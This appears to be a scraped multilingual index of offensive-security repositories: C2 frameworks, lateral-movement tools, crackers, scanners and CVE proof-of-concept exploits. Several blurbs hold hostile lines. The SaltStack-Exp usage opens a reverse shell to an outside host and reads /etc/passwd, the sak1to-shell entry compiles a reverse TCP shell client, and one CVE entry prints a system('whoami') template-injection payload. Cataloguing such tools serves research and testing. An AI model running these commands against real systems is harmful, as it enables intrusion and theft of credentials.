Bcrypt-forcer

Bcrypt-forcer sqlmap Bcrypt 解密工具 Bcrypt 哈希破解器。...

SCShell

SCShell SCShellは、ChangeServiceConfigAに依存してコマンドを実行するファイルレスな水平移動ツールです。このツールの優れた点は、SMBに対して認証を行わないことです。すべての処理はDCERPCを介して行われます。 このユーティリティは、サービスを登録したり作成したりせずにリモートで使用できます。また、リモートシステムにファイルをドロップする必要もありません（使用する手法に依存します）。 動作の仕組み サービスを作成する代わりに、ChangeServiceConfigA APIを介して単純にリモートでサービスを開き、バイナリパス名を変更します。...

CVE-2026-22553-InSAT-MasterSCADA-BUK-TS-MMadmServ

InSAT MasterSCADA BUK-TS - 未认证 RCE CVE-2026-22553 | CVSS 9.8 严重 | 漏洞利用作者 Mohammed Idrees Banyamer 📝 描述 InSAT MasterSCADA BUK-TS 在 MMadmServ Web 界面中存在一个未认证的 OS 命令注入 漏洞。该缺陷允许远程攻击者在无需任何身份认证的情况下实现完全远程代码执行（RCE） 。 受影响产品 ：InSAT MasterSCADA BUK-TS（所有版本） 漏洞类型 ：OS 命令注入（CWE-78） 严重性 ：严重（CVSS v3.1 评分：9.8）...

CVE-2026-48800-PoC

CVE-2026-48800 — Notepad++ 任意コード実行 PoC 深刻度: High | 影響を受けるバージョン: Notepad++ ≤ 8.9.6 | パッチ適用済み: v8.9.6.1 CVE-2026-48800 の PoC スクリプト。Notepad++ ≤ 8.9.6 における shortcuts.xml 経由の任意コード実行の脆弱性です。 詳細な技術情報は、公式セキュリティアドバイザリ を参照してください。 使用方法 python cve-2026-48800.py 実行後の発動方法: Run → Command Injection Demo 期待される結果:...

CVE-2025-54100

CVE-2025-54100 – PowerShell 响应解析 PoC 一个简洁的概念验证，展示CVE-2025-54100 如何通过恶意HTML解析在Windows PowerShell 5.1中导致远程代码执行（RCE）。 Table of Contents 什么是CVE-2025-54100？ PoC工作原理 快速开始 从受害者主机触发 故障排除与验证 证据 缓解措施 免责声明 参考资料 什么是CVE-2025-54100？ 类型： 当未 使用-UseBasicParsing时，Invoke-WebRequest中的命令注入 严重性： CVSS 7.8（高） 根因：...

sak1to-shell

sak1to-shell Multi-threaded, multi-os/platform Linux/Windows c2 server and Windows reverse TCP shell client both written in C. Compiling reverse TCP shell client with i686-w64-mingw32-gcc: i686-w64-mingw32-gcc sakitorevshell.c lib/windows/sakitowincore.c -o sakitorevshell.exe -s -ffunction-sectio...

CVE-2026-76146

An OS command injection vulnerability in Genian SSL PNS allows an attacker who knows only the client access ID, without the password, to execute arbitrary commands remotely...

nuclei-wordfence-cve

Nuclei + Wordfence = ♥ 84,445 Nuclei Templates for WordPress Security Scanning 🥳 Level up your WordPress security game! This project's got a treasure trove of fresh Nuclei templates for WordPress. Scan for weaknesses in Core, plugins, and themes – all based on the latest intel from Wordfence.com...

TimeAfterFree

TimeAfterFree PHP 8 サンドボックスエスケープ PoC。Unix系システムにおけるdisablefunctionsのバイパスを実証します。 このエクスプロイトは、use-after-freeバグを利用してdisablefunctionsをバイパスし、システムコマンドを実行します。ヒープポインタの漏洩や読み取り/書き込みプリミティブの取得に使用されるエクスプロイト技術は、DateIntervalオブジェクトを利用しています。...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 的 PoC var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2026-54088-poc

CVE-2026-54088: 認証フックのシェル置換によるコマンドインジェクション（認証前 RCE） English version 概要 このリポジトリは、File Browser のバージョン = 2.63.5 に存在する重大な OS コマンドインジェクション脆弱性 CVE-2026-54088 の Proof of Concept PoC です。 この脆弱性は Hook Authentication 機能に存在します。管理者が外部コマンドでユーザー認証を行うよう File Browser を設定している場合、ログイン時に送信された username と password...

CVE-2023-28343

CVE-2023-28343 Vulnerabilidad de Ejecución Remota de Comandos en settimezone del Software de Control de Sistemas de Potencia Altenergy CVE-2023-28343 Nombre en chino: Altenergy Power System Control Software settimezone 远程命令执行漏洞（CVE-2023-28343） Puntuación CVSS: 9.0 Descripción : El Software de...

SaltStack-Exp

SaltStack-Exp CVE-2020-11651&&CVE-2020-11652 EXP Exec-Master: python exp.py --exec-choose master --exec-cmd "whoami" Exec-Minions: python exp.py --exec-choose minions --exec-cmd "whoami" GetShell: python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444 ReadFile: python exp.py --read /etc/passwd...

WMImplant

WMImplant WMImplant 是一款基于 PowerShell 的工具，利用 WMI 针对目标机器执行操作，同时将其作为 C2 通道来发送命令和接收结果。WMImplant 通常需要在目标机器上拥有本地管理员权限。 由 @christruncer 开发 WMImplant 功能： 元功能 changeuser - 更改执行 WMI 命令的用户的上下文环境 exit - 退出 WMImplant gencli - 生成用于非交互式运行 WMImplant 的命令行命令 setdefault - 将目标系统的 WMI 属性恢复为其默认值 help - 查看命令列表及描述 文件操作...

MSSqlPwner

MSSqlPwner MSSqlPwnerは、MSSQLサーバーにシームレスにインタラクトし、攻略するための高度で多用途なペンテスティングツールです。 このツールはimpacketに基づいており、攻撃者は平文パスワード、NTLMハッシュ、Kerberosチケットを使用してデータベースに認証できます。 MSSqlPwnerを使用すると、カスタムアセンブリ、xpcmdshell、spoacreate（OLE Automation Procedures）などのさまざまな方法を通じてカスタムコマンドを実行できます。...

pwnflow

Pwnflow 🎯 セキュリティテストと分析の旅を可視化 Pwnflowは、サイバーセキュリティ専門家向けに設計されたマインドマッピングプラットフォームです。セキュリティテストの方法論を可視化、追跡、共有しながら、機密データを完全に制御できます。 🚀 主な機能 コア機能 🗺️ インタラクティブなマインドマップ : 直感的なビジュアルインターフェースで複雑なセキュリティテストワークフローを作成・ナビゲート 🤖 AI搭載アシスタンス : 統合されたAI機能でノードの提案を生成し、方法論を拡張 📋 コマンドテンプレート : 変数置換に対応したCLIコマンドを保存して再利用 📊 進捗トラッキング ...

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

CVE-2026-49179: Active Directory WriteSPNScript Command Injection Summary Field| Value ---|--- CVE ID| CVE-2026-49179 CVSS| 8.8 AV:N/AC:L/PR:L/UI:N CWE| CWE-77 Command Injection Affected Component| ntdsai.dll — WriteSPNScript function Affected Systems| Windows Server 2016, 2019, 2022, 2025...

NetworkAlarm

NetworkAlarm ローカルネットワークトラフィックを監視し、潜在的なセキュリティ脆弱性を検出するコマンドラインツール。nmapスキャン、Niktoスキャン、平文で送信された資格情報、平文で送信されたクレジットカード番号、Shellshock攻撃に対する警告をユーザーに通知します。現在、ライブ監視とネットワークキャプチャ（pcap）スキャンをサポートしています。 脆弱性監視 nmapスキャン NULL、FYN、XMASステルス攻撃から保護 注: ステルス性のないスキャンは保護対象外です。サーバーログでスキャンの有無を確認してください Niktoスキャン...

dismap

🌀 Dismap - Asset discovery and identification tool 中文 Readme Dismap positioning is an asset discovery and identification tool. It can quickly identify protocols and fingerprint information such as web/tcp/udp, locate asset types, and is suitable for internal and external networks. It assists red...

octohook

octohook 用于 C2 的 Git Web Hook 隧道 安装 apt-get update && apt-get upgrade -y apt-get install python3-pip git -y pip install --upgrade pip pip install virtualenv virtualenv -p python venv . venv/bin/activate git clone https://github.com/dsnezhkov/octohook pip install prompttoolkit PyGithub bottle...